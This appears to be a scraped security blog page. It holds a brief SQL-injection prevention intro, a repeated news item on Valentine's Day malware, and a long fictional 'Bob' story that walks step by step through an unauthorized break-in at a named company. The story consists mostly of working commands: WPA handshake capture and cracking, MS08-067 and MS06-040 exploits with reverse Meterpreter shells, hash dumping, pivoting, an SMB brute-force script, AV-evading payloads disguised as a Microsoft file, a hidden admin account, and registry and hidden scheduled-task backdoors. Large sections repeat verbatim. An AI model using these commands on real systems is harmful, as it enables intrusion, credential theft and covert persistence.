In a SQL injection attack, a malicious user can send arbitrary input to the server and trick the Web application into generating a different SQL statement than was originally intended. As a result, the SQL, when executed, fetches a different set of results from the database than the application would have originally requested. SQL injection attacks are most frequently used to gain unauthorized access to, or manipulate the data residing in, the database on the server.
Much has already been written about how SQL injection attacks are performed. The focus here is to prevent the attacks in the first place. Following are 10 steps that both developers and database administrators can take to prevent applications from being vulnerable to SQL injection attacks.
Sunday, February 7, 2010
The websites of two major providers of security products have been hit by hackers.
A new Valentine’s Day spam email has been detected by Websense as containing a Waledac variant. Websense Security Labs has reported to have seen several fake Valentine’s Day sites serving up malware recently, with an increase in adult dating and ‘healthcare’ related email spam released to mark the occasion. Carl Leonard, Websense threat research manager, claimed that it works by the user opening the URL in the spammed message and being redirected to a site with two puppies and a love heart to give a Valentine’s theme. The user is then enticed to download a Valentine’s kit to prepare a present for a loved one, which is a new Waledac variant.
Leonard said: “The usual suspects have emerged as expected, with Valentine spam emails and Trojans. The public are becoming more aware of these and it is getting harder to trick people this way. Cybercriminals are also taking their efforts to social networks, given its rising popularity and potential to manipulate the user through ‘friend’ messages.
“Organised criminal units have a long history of timing their attacks to coincide with popular occasions in order to achieve maximum success. Valentine’s Day 2009 is a day that is similarly marked on the criminals’ calendar for targeted attacks.â€
Websense has warned of three key signs of fake sites: ‘Broken Hearts’ sites show colourful images such as puppy dogs or a picture of 12 pretty hearts and ask ‘Guess, which one is for you?’. The web page however is one big image and a single click from a tricked user commences the download of Trojans named “onlyyou.exe†or “youandme.exeâ€, which can connect to remote websites to receive commands and send information about the compromised system.
‘I am your friend’ uses social networking tricks to get users to visit fake sites, with Websense claiming that a popular technique at the moment is spam email pretending to originate from social networking sites – complete with love hearts and cartoon characters. Clicking through to the link would download a Trojan designed to steal log in credentials for banking sites.
Seventy per cent of the top 100 most popular websites either hosted malicious content or contained a masked redirect to lure unsuspecting victims from legitimate sites to malicious sites. Specially created malicious sites are in decline as cybercriminals switch to compromising ‘trusted’ websites. Websense claimed that as there is increased confidence in shopping and researching online - a lot of which happens whilst in the office – people are turning to the internet to order flowers, chocolates and other gifts and cybercriminals are compromising these sites and stealing data.
Leonard said: “The underground economy is positively flourishing as companies fail to keep up with security technology. Criminals are taking advantage of the growing number of Web 2.0 properties, which allows user generated content. More than ever we’re seeing websites injected with links to direct users to malicious and compromised sites.
“Since many email security systems lack web intelligence, spammers have also stepped up email campaigns which contain links to malicious web pages. It’s clear that businesses need security with real-time protection, but until this becomes the norm – cybercriminals will continue stealing data and breaking hearts.â€
source : http://www.hacking-news.com/
Leonard said: “The usual suspects have emerged as expected, with Valentine spam emails and Trojans. The public are becoming more aware of these and it is getting harder to trick people this way. Cybercriminals are also taking their efforts to social networks, given its rising popularity and potential to manipulate the user through ‘friend’ messages.
“Organised criminal units have a long history of timing their attacks to coincide with popular occasions in order to achieve maximum success. Valentine’s Day 2009 is a day that is similarly marked on the criminals’ calendar for targeted attacks.â€
Websense has warned of three key signs of fake sites: ‘Broken Hearts’ sites show colourful images such as puppy dogs or a picture of 12 pretty hearts and ask ‘Guess, which one is for you?’. The web page however is one big image and a single click from a tricked user commences the download of Trojans named “onlyyou.exe†or “youandme.exeâ€, which can connect to remote websites to receive commands and send information about the compromised system.
‘I am your friend’ uses social networking tricks to get users to visit fake sites, with Websense claiming that a popular technique at the moment is spam email pretending to originate from social networking sites – complete with love hearts and cartoon characters. Clicking through to the link would download a Trojan designed to steal log in credentials for banking sites.
Seventy per cent of the top 100 most popular websites either hosted malicious content or contained a masked redirect to lure unsuspecting victims from legitimate sites to malicious sites. Specially created malicious sites are in decline as cybercriminals switch to compromising ‘trusted’ websites. Websense claimed that as there is increased confidence in shopping and researching online - a lot of which happens whilst in the office – people are turning to the internet to order flowers, chocolates and other gifts and cybercriminals are compromising these sites and stealing data.
Leonard said: “The underground economy is positively flourishing as companies fail to keep up with security technology. Criminals are taking advantage of the growing number of Web 2.0 properties, which allows user generated content. More than ever we’re seeing websites injected with links to direct users to malicious and compromised sites.
“Since many email security systems lack web intelligence, spammers have also stepped up email campaigns which contain links to malicious web pages. It’s clear that businesses need security with real-time protection, but until this becomes the norm – cybercriminals will continue stealing data and breaking hearts.â€
source : http://www.hacking-news.com/
Wednesday, December 16, 2009
Bob's Double Penetration Adventure
PART 1
A couple of days ago a mate at work asked about the security issues surrounding computers that are connected to the company network and also to the Internet via a wifi connection. This question was perfect fodder for a Bob story I thought. So the story goes.......
Bobs a curious fella and he really likes to explore. Lately he's been learning about hacking, nothing evil, just really having a look in places that he shouldn't be looking, you know, a curiosity thing. As Bob sits at home it occurs to him that the perfect target for his hacking adventures is Walliford Fries, a chip maker based in his small town. He has nothing against Wallifords, he doesn't mean them any harm, he's just pissed off at the way the Wallifords are unloading their trucks at 5 in the morning and waking him up. So his intention is to see if he can get onto the Walliford network with some if these free hacking tools he's downloaded from the web and use Wallifords as his new playground.
Bob's not a traditional hacker, he doesn't go to the targets website and spend hours going through the detail, looking for business relationships, email address, job postings etc.. He hasn't even started looking at IP ranges and ports. All Bob has done is fire up his laptop sporting a brand new install of BackTrack4 and looked at whats about on the Wifi.
That's interesting, here he has a WPA network called WF-IT that is no doubt Walliford Fries related, After all, his house is within spitting distance of the Walliford offices. Shame its not WEP though, that could be cracked in minutes. Now Bob knows that his best bet is to customise his word list for this particular target, so he decides to scrape Wallifords website and add all those words to his wordlist.
wget -r http://www.wallifordfries.com
wyd.pl -n -o /root/temp/WF-wordlist.txt /root/www.wallifordfries.com/
cat /root/temp/WF-wordlist.txt | sort | uniq > wordlist2.txt
cat wordlist2.txt | pw-inspector -m 1 -M 20 >WF-customlist.txt
After creating his custom wordlist Bob decides to add it to an existing wordlist. As he'll need to create a hash of his wordlist to bruteforce the WPA key he just opts for his small but popular password list, if this fails he'll have to go for the bigger wordlist he likes to call "Mother", but first he'll opt for the easy option.
cat WF-customlist >>/root/temp/wordlist.txt
Bob now needs to get his wireless sniff on. He puts his wifi card into monitor mode and grabs the necessary BSSIDs of the access point and a client.
airmon-ng start wlan0 11
airodump-ng -c 11 mon0
With the BSSID of the client and the Access Point he starts his capture and saves it to a file.
airodump-ng -c 11 --bssid 00:18:F8:4B:43:86 -w /root/temp/Walliford mon0
With the capture going he sends a few de-auths packets so he can capture the 4 way handshake, this is critical for him to perform his WPA crack.
aireplay-ng -0 1 -a 00:18:F8:4B:43:86 -c 00:11:50:BB:D6:28 mon0
Great, Bob now has all he needs to begin his WPA crack. He quickly generates his hash file from the custom wordlist, hopefully all this effort will pay off.
To generate the hash he uses the genpmk tool from the cowpatty directory.
./genpmk -f /root/temp/wordlist.txt -d /root/temp/hash -s WF-IT
And to crack the key he uses cowpatty.
./cowpatty -r /root/temp/Walliford-01.cap -d /root/temp/hash -s WF-IT
Bingo! Bob got the WPA key in no time at all. He checks it by taking the card out of monitor mode and connecting to the AP.
airmon-ng stop mon0
Excellent, as soon as Bob finishes punching the air and doing his little dance he checks the wifi network for other hosts.
nmap 192.168.2.0/24 -sP
Got one, well two if you count the Linksys AP but lets focus on the one using the Belkin card for now. Wondering what ports it has open Bob puts Nmap to good use, again saving the results to a file.
nmap 192.168.2.102 -sV -oA ~/temp/wal-nmap
Bobs intention is to fire up Nessus and scan his target but first he knows a quick way to check for a vulnerability that he knows he has a working exploit for.
nmap 192.168.2.102 -PN -T4 -p139,445 -n --script=smb-check-vulns --script-args=unsafe=1
Perfect, Nmap has told Bob that he should be able to exploit the remote PC with the conficker exploit. He can't believe that Walliford still has unpatched PC's for this vulnerability. I guess the guys from pauldotcom are right. They have a firewall and they have AV so there safe right? Wrong!
Bob confirms his findings with Nessus and checks for any other vulnerabilities that he might have some fun with.
Well Nessus confirmed the vulnerability from his Nmap scan which is good but it doesn't find much else. Oh well, he saves his scan as an .nbe file so he can feed it into Metasploit.
After firing up Metasploit Bob decides to try out the db_autopwn feature to launch any exploits that it has against the ports it's found open.
db_create walliford
db_import_nessus_nbe /root/temp/walliford.nbe
db_hosts
db_autopwn -p -e -r -t
Oh and time for another crazy dance, Bob gets a session on the remote host and he can see that he's got system privileges which is always nice. He dumps out the local users hashes for some John the Ripper fun later and he checks out the route table. Superb, he can see that the remote host is also connected to the Walliford LAN.
sysinfo
getuid
hashdump
At this point Bob decides at this point to get a little interactive so he pulls up a command prompt on the compromised host.
execute -H -f cmd.exe -i
He TFTP's a couple of handy dandy files from his laptop and grabs the hashes of any domain accounts that have logged into this box. With a hostname such as PC-IT-1 he guesses these are going to be quite useful for his exploration adventures in his new playground.
tftp -i 192.168.2.101 get cachedump.exe
tftp -i 192.168.2.101 get klogger.exe
cachedump.exe
Now he decides to have a little look around on the server. He maps a drive to the IT folder and attempts to have a poke around.
net view \\server01
net use * \\server01\IT
Damn. The NTFS permissions wont allow him access. Then it dawns on him, the system account he is using doesn't have permissions on the server. Maybe not but with a hostname like PC-IT-1 the logged in user probably will have. He comes out of his session lists the processes and then migrates to a process which is running in the context of the user.
quit
ps
getuid
migrate 784
getuid
Perfect, he's migrated to the Explorer.exe process and now he's now running as James. Bob launches an interactive shell again and checks his mapped drives.
execute -H -f cmd.exe -i
net use
I:
Brilliant. Bobs got access to the IT folder. From here he can have a good poke around before he decides his next move. He's got some good old fashioned password cracking to do and times getting on so Bob decides to call t a day for now.
PART 2
So Bob decides to revisit his new found playground at Walliford Fries and get to grips with his new tools. He connects up to the wifi with the password he's already cracked and this time rather than using the Autopwn feature he decides to try something else. Bob's idea is to use the PC he exploited previously as a point to launch other attacks deeper into the network.
Bob launches his trusty MS08-067 exploit this time with a meterpreter/reverse_tcp payload
use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set RHOST 192.168.1.102
set ExitOnSession False
exploit -j -z
Excellent, Bob gets his session. He connects to the session and checks the network settings on his compromised host.
sessions -i 1
execute -H -f cmd.exe -i
ipconfig
While he is on the remote host Bob checks a few things, ideally he could do with knowing about the network servers. At this point he just wants the basics, name & IP.
Net view
And he could do with the IP addresses too. He'll want these for his scans.
ping -n 1 server01
ping -n 1 server02
That'll do for now. Bob comes out of the shell, backgrounds his meterpreter session and creates a route pointing to the internal LAN through his session.
exit
background
route add 10.0.1.0 255.255.255.0 1
route print
Now time to see if the magic works. Bob selects the auxiliary scanner and checks the OS versions of the two servers on the internal LAN by pivoting through his compromised host.
use auxiliary/scanner/smb/version
set RHOSTS 10.0.1.230
run
set RHOSTS 10.0.1.231
run
Hmmm, interesting. Windows 2003 with no service pack. Bob wonders if he can exploit that through the pivot?
use windows/smb/ms08_067_netapi
set RHOST 10.0.1.231
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Bugger! No such luck. Hang on though, Bob remembers something he read once. He can use Mubix's handy dandy deploymsf script to install Metasploit on his compromised host. Perfect!
He grabs files he needs from the web, putting them into his plugin directory.
cd /pentest/exploits/framework3/plugins/
wget http://metasploit.com/releases/framework-3.3-dev.exe
wget http://www.room362.com/scripts-and-programs/metasploit/deploymsf.rb
And then it's just a case of connecting back to his session on the pwned box, running the script and pointing it to the metasploit executable.
sessions -i 1
run deploymsf.rb -f ../../../pentest/exploits/framework3/plugins/framework-3.3-dev.exe
Holly crap Batman! look at that. Bob has installed Metasploit on the host he compromised, thanks to a weak password on the wireless LAN and a missing patch or two.
Now the output isnt always pretty but it gets the job done.
So whats next? Well there is that server with no service pack to take care of. For that Bob will try his old faithful ms06_040 exploit.
use windows/smb/ms06_040_netapi
set RHOST 10.0.1.231
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Perfect, another box to play with. Now Bob wants to dig in deep so he can play on this network for as long as possible so he's going to need to start pulling together some serious information. He could get this all manually but of course that's pretty dumb, especially when he can use Dark Operators excellent WinEnum script. This will go out and grab nearly everything he wants so he acn understand the network better and stick it all in one big text file so Bob has some bedtime reading. As Bobs already sitting in a meterpreter session he simply runs the WinEnum script.
run winenum
Sorted. Again it's getting late so Bob decides to call it a day. Before he does though he needs to leave himself a few backdoors.......which will of course be in the next post.
Goal 1
To extract as much information about the Walliford Network as possible.
Goal 2
To identify high value targets and gain access to those systems.
Goal 3
To remain undetected.
Goal 4
To generally have fun, learn his tools and practice his techniques.
Pretty simple goals eh. Bob knows that to remain undetected he's going to have to use as many tools that are already on the compromised host as he can. He knows that he needs to use as many legitimate tools as possible and only upload those that won't be detected by AV.
Getting his tools onto the compromised hosts is important, but uploading them one by one is a pain in the arse. Then Bob remembers something he heard in a great presentation on post exploitation from Dean Der Beer, a reference to a tool called Metacab. He takes a look at Metacab but decides against using it. Bob really likes the idea of Metacab but he wants a different set of tools so he goes about making his own version. Using the Makecab tool already in XP he creates a cab file containing the few additional tools he needs, knowing he can upload and extract the files from the cab with native windows tools from straight from the command-line.
The one tool he cannot do without is netcat but AV picks it up quite easily. Then Bob remembers that his Nmap directory has ncat, a new version of netcat with loads of additional features. Bob runs it through virustotal to see what gives.
Perfect, only detected by one AV product out of 41. Now Bob knows that he can use this tool for file transfer, creating proxies and even backdoors. Many of the other tools he decides to include in the cab file come from the Windows Resource Kit. This means that there is very little chance of them being detected by AV or looking like Potentially Unwanted Applications (PUA) on the host.
Tools List
cmd.exe
dsadd.exe
dsget.exe
dsquery.exe
edit.com
ncat.exe
net.exe
ngrep.exe
pmon.exe
PortQry.exe
reg.exe
srvinfo.exe
WinDump.exe
As expected VirusTotal finds nothing wrong with his other tools, but then again why would it.
So looking at his tools Bob has his ncat for backdoors and file transfer, he has a port scanner, pmon for keeping an eye on his hosts CPU and memory, tools for extracting anything out of Active Directory, packet sniffers, SrvInfo which is great for looking at details of servers. He also includes a couple of standard tools such as Net.exe and Cmd.exe which are there just encase they had been removed by the Sys Admin. Hopefully he's got everything he needs for a successful expedition into the Walliford Fries network. If not, he'll go back to the drawingboard and create a new cab file.
Bob also creates a few bat files that he can use for scanning and password checks. It's easier to create these now and include them in the cab than it is to write them on the fly.
His first bat file is a simple bruteforce script that will use in-built windows functions to bruteforce shares. He'll supply a userlist (names.txt) and a common password list (words.txt) to the bat file. The password list will be common passwords and can be tweaked using the inbuilt DOS Edit tool when he's on the target, and the userlists will be generated from his enumeration tool dsquery . After running the bruteforce script any succesfull logins will be saved to a text file (creds.txt). Bob knows from performing password audits in his other life that even when complex passwords are enforced users will still pick dumb complex passwords, such as Password01. And when it comes to change it......well of course were looking at Password02!
Before any bruteforcing is done Bob will be checking the password policies so he doesn't trip any account lockout thresholds. So if the account lockout policy triggers after 3 incorrect attempts in half an hour he'll just try 2 common passwords on all accounts. As they say, slow and steady wins the race.
Set /P target="Enter Target To Perform BF on:"
For /F %%i in (names.txt) do @(for /f %%j in (words.txt) do @echo %%i:%%j & @net use \\%target% %%j /u:%%i 2>nul && echo %%i:%%j >> ./creds.txt && net use \\%target% /del)
Bob will use the either net.exe or dsquery.exe to populate his names.txt file. Dsquery is fantastic for ripping through Active Directory and if you know what your doing you can use them to pretty much find out anything about users and computers. The beauty is, these tools can be run from any user account, so you don't need to pop an admins box to get some juicy info.
The next bat file that bob will include is to check for hosts that respond to a ping and output the results to a file.
set /P subnet="Enter subnet:"
for /L %%i in (1,1,255) do @ping -n 1 -w 1 %subnet%.%%i | find "Reply"
Another bat file is created to perform reverse lookups using a nslookup FOR loop.
set /P subnet="Enter subnet:"
For /L %%i in (1,1,255) do @nslookup %subnet%.%%i 2>nul | find "Name" && echo %subnet%.%%i
And finally a bat file to use the Portqry tool for port scans against hosts in a host file (hosts.txt). Again he can use dsquery or net.exe to populate the hosts file.
For /F %%i in (hosts.txt) do @PortQry.exe -n %%i -o 21,22,23,25,80,139,445,3389,1433 -p tcp
Ok, that'll do for now. Bob builds his ddf file for his cab file and creates the cab.
;*** MakeCAB Directive File for bin
;
.OPTION EXPLICIT ;*** Generate errors
.Set MaxCabinetSize=0
.Set MaxDiskSize=0
.Set CabinetNameTemplate=bin.cab
.set DiskDirectoryTemplate=CDROM ;
.Set CompressionType=MSZIP ;
.Set UniqueFiles="OFF"
.Set Cabinet=on
.Set DiskDirectory1=bin bf.bat
cmd.exe
dsadd.exe
dsget.exe
dsquery.exe
edit.com
hosts.txt
names.txt
ncat.exe
net.exe
ngrep.exe
pingsweep.bat
pmon.exe
port-scan.bat
PortQry.exe
reg.exe
rev-lookup.bat
srvinfo.exe
WinDump.exe
words.txt
;*** EOF
And to build his super duper cab, he makes sure all the tools, bat files and the bin.ddf file is in the same directory and.....
makecab /F bin.ddf
Perfect, after building his cab file it comes in at less than 1MB, Bob honestly couldn't be happier. He'll have to use the windows built-in tool called Expand.exe to get his files out of the cab.
expand /F:* bin.cab .
Right with that done Bob is almost ready to hop onto his target and put his tools to good use and start his network exploration.
Luckily for Bob he hears from a good friend that it's quite possible to modify netcat to be able to bypass anti-virus software. And luckily for Bob, the most talented Muts has created a video that shows him exactly how to do that here.
This problem also presents Bob with the perfect opportunity to get his hands dirty with some msfpayload love. He reckons that if he creates a couple of payloads to add into his cab file he should be able to do everything he needs. And the beauty of using msfpayload is he'll be able to run them through msfencode to bypass most anti-virus.
Before Bob creates his payloads he grabs a copy of winmsd.exe from his Windows OS. It doesn't really matter to him what file it is he just wants one that is a Microsoft file. He want this because all his payloads can take on the characteristics of the file. Rather than going to great lengths to hide a file, Bobs opinion is that hiding in plain site will probably be better.
Payload 1
For Bobs first payload he wants to create a generic payload that will spawn a command shell when he connects to it on port 6666.
./msfpayload windows/shell_bind_tcp LPORT=6666 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd16.exe
Bob has specified a payload that will bind a shell to port 6666. He outputs this in raw format to the msfencode program that will help avoid detection by anti-virus software. Finally he has specified that the file is called winmsd16.exe and upon physical inspection it will look just like the original winmsd.exe file.
After Bob creates the file he tests it out on his XP VM to make sure it works as expected.
Side by side it looks just like the original file, it is identical in size and looks just as through its a legitimate file from Microsoft.
Bob runs the file and checks he can connect to it with netcat.
nc 10.0.1.10 6666
Payload 2
Bobs second payload will connect back to him when he's on the wireless network and present him with a meterpreter shell.
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.102 LPORT=8080 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd32.exe
Again Bob uses a legitimate file to copy the characteristics from. This time on his host he has to make sure he has his listener ready on port 8080.
Bob decides that when he creates his listener he'll use msfconsole and pass the following commands:
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set LPORT 8080
set ExitOnSession false
set AutoRunScript winenum.rb
exploit -j -z
Bob has configured his listener to accept multiple sessions coming back to him, and the very useful winenum script developed by Carlos "Dark operator" Perez will run against each connecting host. All the information from the script will be stored in ~/.msf/logs/ Bob may well decide to change this at a later date to another script but for now he's very happy.
With his modified netcat and his payloads created and tested Bob rebuilds his cab file and goes to get his dinner. He knows that during his network exploration adventures he may well come up against some problems that will cause him to create some payloads on the fly but he'll deal with that when it happens.
Whilst eating his dinner Bob begins to worry that if the Admins at Walliford Fries patch the computers he may well lose his way in. By the time Bob has eaten his ice cream desert he has come up with a few ideas how he might overcome this particular problem.
use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.102
set LPORT 8181
set RHOST 192.168.2.101
exploit
Bob migrates to a stable process then uploads his backdoors to the Windows\System32 directory using Meterpreters upload function.
migrate 714
lcd /root/payloads
upload winmsd32.exe
upload winmsd16.exe
After Bob lauches a shell he creates a new user and adds it to the Administrators, Power Users and the Backup Operators groups
shell
net user MS_Support31337 Support31337 /add
net localgroup Administrators MS_Support31337 /add
net localgroup "Backup Operators" MS_Support31337 /add
net localgroup "Power Users" MS_Support31337 /add
He choose these privileged groups as a group policy may be configured to control the local Administrators group and by remaining in the other groups he will still have a high level of access.
Now Bob wants to get down to business and plant some of these lovely backdoors he's created. Bobs first port of call is to create a registry entry to run his meterpreter payload and connect back to Bob each time the computer is booted.
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft winmsd32" /d "C:\Windows\System32\winmsd32.exe"
Bob check that his registry entry has been set using the reg query command.
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Then it occurs to Bob that someone may well stumble across his registry entry and remove it so he decides to have a backup by creating some scheduled tasks. One task (the meterpeter reverse connect) will run every 10 minutes and the other (the listening shell) will run at startup.
schtasks /create /tn "Winmsd32" /tr C:\Windows\System32\winmsd32.exe /sc minute /mo 10 /RU "NT AUTHORITY\SYSTEM"
schtasks /create /tn "Winmsd16" /tr C:\Windows\System32\winmsd16.exe /sc onstart /RU "NT AUTHORITY\SYSTEM"
Now the only way the normal logged in user would see these Scheduled Tasks is by looking at the directory using a command prompt. Only an Administrator running schtasks on the PC would see these scheduled tasks, anyone else will see nothing. Even looking at the C:\Windows\Tasks folder through explorer wouldn't show the tasks as it will only show the current users tasks.
Bobs pretty happy about this but what would make him happier would be if it was really really hard to see his backdoors. Then it occurs to him that by changing the attributes on the jobs in the tasks folder it would be really really hard as the user would have to do a "dir /a:h *.*" on the directory specifically. Okay, so thats not really really hard but it is a bit of a bugger!
cd \windows\tasks
Attrib +H winmsd*.job
Then Bob checks his handy work by looking at just hidden files.
Great, Bob fires up another instance of msfconsole and sets up his handler for the sessions that should start coming in.
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.102
set LPORT 8080
set ExitOnSession false
set AutoRunScript winenum.rb
exploit -j -z
Within a minute or 2 Bob gets a session from his scheduled task backdoor.
What he really likes about these scheduled tasks is he wont get loads of sessions back from the same host, but if he looses connection he'll get another session back 10 minutes later. Also, every now and then Bob can change the AutoRunScript so Metasploit can gather all sorts of useful information on his behalf.
Now Bob is in, he has his backdoors sorted and he wants to have a look around to see what else might be interesting. Bob has a knows a guy who works for Wallifords. Now this guys is a bit of a dick and is always boasting about how much he earns. Bobs sure the guy exaggerates, wouldn't it be nice if Bob could access the payroll data and see if this guy is telling the truth?
Oh, look at that, lunch time. Bob goes and gets his dinner and has a think about what other interesting things he might be able to find on the Walliford network.
A couple of days ago a mate at work asked about the security issues surrounding computers that are connected to the company network and also to the Internet via a wifi connection. This question was perfect fodder for a Bob story I thought. So the story goes.......
Bobs a curious fella and he really likes to explore. Lately he's been learning about hacking, nothing evil, just really having a look in places that he shouldn't be looking, you know, a curiosity thing. As Bob sits at home it occurs to him that the perfect target for his hacking adventures is Walliford Fries, a chip maker based in his small town. He has nothing against Wallifords, he doesn't mean them any harm, he's just pissed off at the way the Wallifords are unloading their trucks at 5 in the morning and waking him up. So his intention is to see if he can get onto the Walliford network with some if these free hacking tools he's downloaded from the web and use Wallifords as his new playground.
Bob's not a traditional hacker, he doesn't go to the targets website and spend hours going through the detail, looking for business relationships, email address, job postings etc.. He hasn't even started looking at IP ranges and ports. All Bob has done is fire up his laptop sporting a brand new install of BackTrack4 and looked at whats about on the Wifi.
That's interesting, here he has a WPA network called WF-IT that is no doubt Walliford Fries related, After all, his house is within spitting distance of the Walliford offices. Shame its not WEP though, that could be cracked in minutes. Now Bob knows that his best bet is to customise his word list for this particular target, so he decides to scrape Wallifords website and add all those words to his wordlist.
wget -r http://www.wallifordfries.com
wyd.pl -n -o /root/temp/WF-wordlist.txt /root/www.wallifordfries.com/
cat /root/temp/WF-wordlist.txt | sort | uniq > wordlist2.txt
cat wordlist2.txt | pw-inspector -m 1 -M 20 >WF-customlist.txt
After creating his custom wordlist Bob decides to add it to an existing wordlist. As he'll need to create a hash of his wordlist to bruteforce the WPA key he just opts for his small but popular password list, if this fails he'll have to go for the bigger wordlist he likes to call "Mother", but first he'll opt for the easy option.
cat WF-customlist >>/root/temp/wordlist.txt
Bob now needs to get his wireless sniff on. He puts his wifi card into monitor mode and grabs the necessary BSSIDs of the access point and a client.
airmon-ng start wlan0 11
airodump-ng -c 11 mon0
With the BSSID of the client and the Access Point he starts his capture and saves it to a file.
airodump-ng -c 11 --bssid 00:18:F8:4B:43:86 -w /root/temp/Walliford mon0
With the capture going he sends a few de-auths packets so he can capture the 4 way handshake, this is critical for him to perform his WPA crack.
aireplay-ng -0 1 -a 00:18:F8:4B:43:86 -c 00:11:50:BB:D6:28 mon0
Great, Bob now has all he needs to begin his WPA crack. He quickly generates his hash file from the custom wordlist, hopefully all this effort will pay off.
To generate the hash he uses the genpmk tool from the cowpatty directory.
./genpmk -f /root/temp/wordlist.txt -d /root/temp/hash -s WF-IT
And to crack the key he uses cowpatty.
./cowpatty -r /root/temp/Walliford-01.cap -d /root/temp/hash -s WF-IT
Bingo! Bob got the WPA key in no time at all. He checks it by taking the card out of monitor mode and connecting to the AP.
airmon-ng stop mon0
Excellent, as soon as Bob finishes punching the air and doing his little dance he checks the wifi network for other hosts.
nmap 192.168.2.0/24 -sP
Got one, well two if you count the Linksys AP but lets focus on the one using the Belkin card for now. Wondering what ports it has open Bob puts Nmap to good use, again saving the results to a file.
nmap 192.168.2.102 -sV -oA ~/temp/wal-nmap
Bobs intention is to fire up Nessus and scan his target but first he knows a quick way to check for a vulnerability that he knows he has a working exploit for.
nmap 192.168.2.102 -PN -T4 -p139,445 -n --script=smb-check-vulns --script-args=unsafe=1
Perfect, Nmap has told Bob that he should be able to exploit the remote PC with the conficker exploit. He can't believe that Walliford still has unpatched PC's for this vulnerability. I guess the guys from pauldotcom are right. They have a firewall and they have AV so there safe right? Wrong!
Bob confirms his findings with Nessus and checks for any other vulnerabilities that he might have some fun with.
Well Nessus confirmed the vulnerability from his Nmap scan which is good but it doesn't find much else. Oh well, he saves his scan as an .nbe file so he can feed it into Metasploit.
After firing up Metasploit Bob decides to try out the db_autopwn feature to launch any exploits that it has against the ports it's found open.
db_create walliford
db_import_nessus_nbe /root/temp/walliford.nbe
db_hosts
db_autopwn -p -e -r -t
Oh and time for another crazy dance, Bob gets a session on the remote host and he can see that he's got system privileges which is always nice. He dumps out the local users hashes for some John the Ripper fun later and he checks out the route table. Superb, he can see that the remote host is also connected to the Walliford LAN.
sysinfo
getuid
hashdump
At this point Bob decides at this point to get a little interactive so he pulls up a command prompt on the compromised host.
execute -H -f cmd.exe -i
He TFTP's a couple of handy dandy files from his laptop and grabs the hashes of any domain accounts that have logged into this box. With a hostname such as PC-IT-1 he guesses these are going to be quite useful for his exploration adventures in his new playground.
tftp -i 192.168.2.101 get cachedump.exe
tftp -i 192.168.2.101 get klogger.exe
cachedump.exe
Now he decides to have a little look around on the server. He maps a drive to the IT folder and attempts to have a poke around.
net view \\server01
net use * \\server01\IT
Damn. The NTFS permissions wont allow him access. Then it dawns on him, the system account he is using doesn't have permissions on the server. Maybe not but with a hostname like PC-IT-1 the logged in user probably will have. He comes out of his session lists the processes and then migrates to a process which is running in the context of the user.
quit
ps
getuid
migrate 784
getuid
Perfect, he's migrated to the Explorer.exe process and now he's now running as James. Bob launches an interactive shell again and checks his mapped drives.
execute -H -f cmd.exe -i
net use
I:
Brilliant. Bobs got access to the IT folder. From here he can have a good poke around before he decides his next move. He's got some good old fashioned password cracking to do and times getting on so Bob decides to call t a day for now.
PART 2
So Bob decides to revisit his new found playground at Walliford Fries and get to grips with his new tools. He connects up to the wifi with the password he's already cracked and this time rather than using the Autopwn feature he decides to try something else. Bob's idea is to use the PC he exploited previously as a point to launch other attacks deeper into the network.
Bob launches his trusty MS08-067 exploit this time with a meterpreter/reverse_tcp payload
use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set RHOST 192.168.1.102
set ExitOnSession False
exploit -j -z
Excellent, Bob gets his session. He connects to the session and checks the network settings on his compromised host.
sessions -i 1
execute -H -f cmd.exe -i
ipconfig
While he is on the remote host Bob checks a few things, ideally he could do with knowing about the network servers. At this point he just wants the basics, name & IP.
Net view
And he could do with the IP addresses too. He'll want these for his scans.
ping -n 1 server01
ping -n 1 server02
That'll do for now. Bob comes out of the shell, backgrounds his meterpreter session and creates a route pointing to the internal LAN through his session.
exit
background
route add 10.0.1.0 255.255.255.0 1
route print
Now time to see if the magic works. Bob selects the auxiliary scanner and checks the OS versions of the two servers on the internal LAN by pivoting through his compromised host.
use auxiliary/scanner/smb/version
set RHOSTS 10.0.1.230
run
set RHOSTS 10.0.1.231
run
Hmmm, interesting. Windows 2003 with no service pack. Bob wonders if he can exploit that through the pivot?
use windows/smb/ms08_067_netapi
set RHOST 10.0.1.231
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Bugger! No such luck. Hang on though, Bob remembers something he read once. He can use Mubix's handy dandy deploymsf script to install Metasploit on his compromised host. Perfect!
He grabs files he needs from the web, putting them into his plugin directory.
cd /pentest/exploits/framework3/plugins/
wget http://metasploit.com/releases/framework-3.3-dev.exe
wget http://www.room362.com/scripts-and-programs/metasploit/deploymsf.rb
And then it's just a case of connecting back to his session on the pwned box, running the script and pointing it to the metasploit executable.
sessions -i 1
run deploymsf.rb -f ../../../pentest/exploits/framework3/plugins/framework-3.3-dev.exe
Holly crap Batman! look at that. Bob has installed Metasploit on the host he compromised, thanks to a weak password on the wireless LAN and a missing patch or two.
Now the output isnt always pretty but it gets the job done.
So whats next? Well there is that server with no service pack to take care of. For that Bob will try his old faithful ms06_040 exploit.
use windows/smb/ms06_040_netapi
set RHOST 10.0.1.231
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Perfect, another box to play with. Now Bob wants to dig in deep so he can play on this network for as long as possible so he's going to need to start pulling together some serious information. He could get this all manually but of course that's pretty dumb, especially when he can use Dark Operators excellent WinEnum script. This will go out and grab nearly everything he wants so he acn understand the network better and stick it all in one big text file so Bob has some bedtime reading. As Bobs already sitting in a meterpreter session he simply runs the WinEnum script.
run winenum
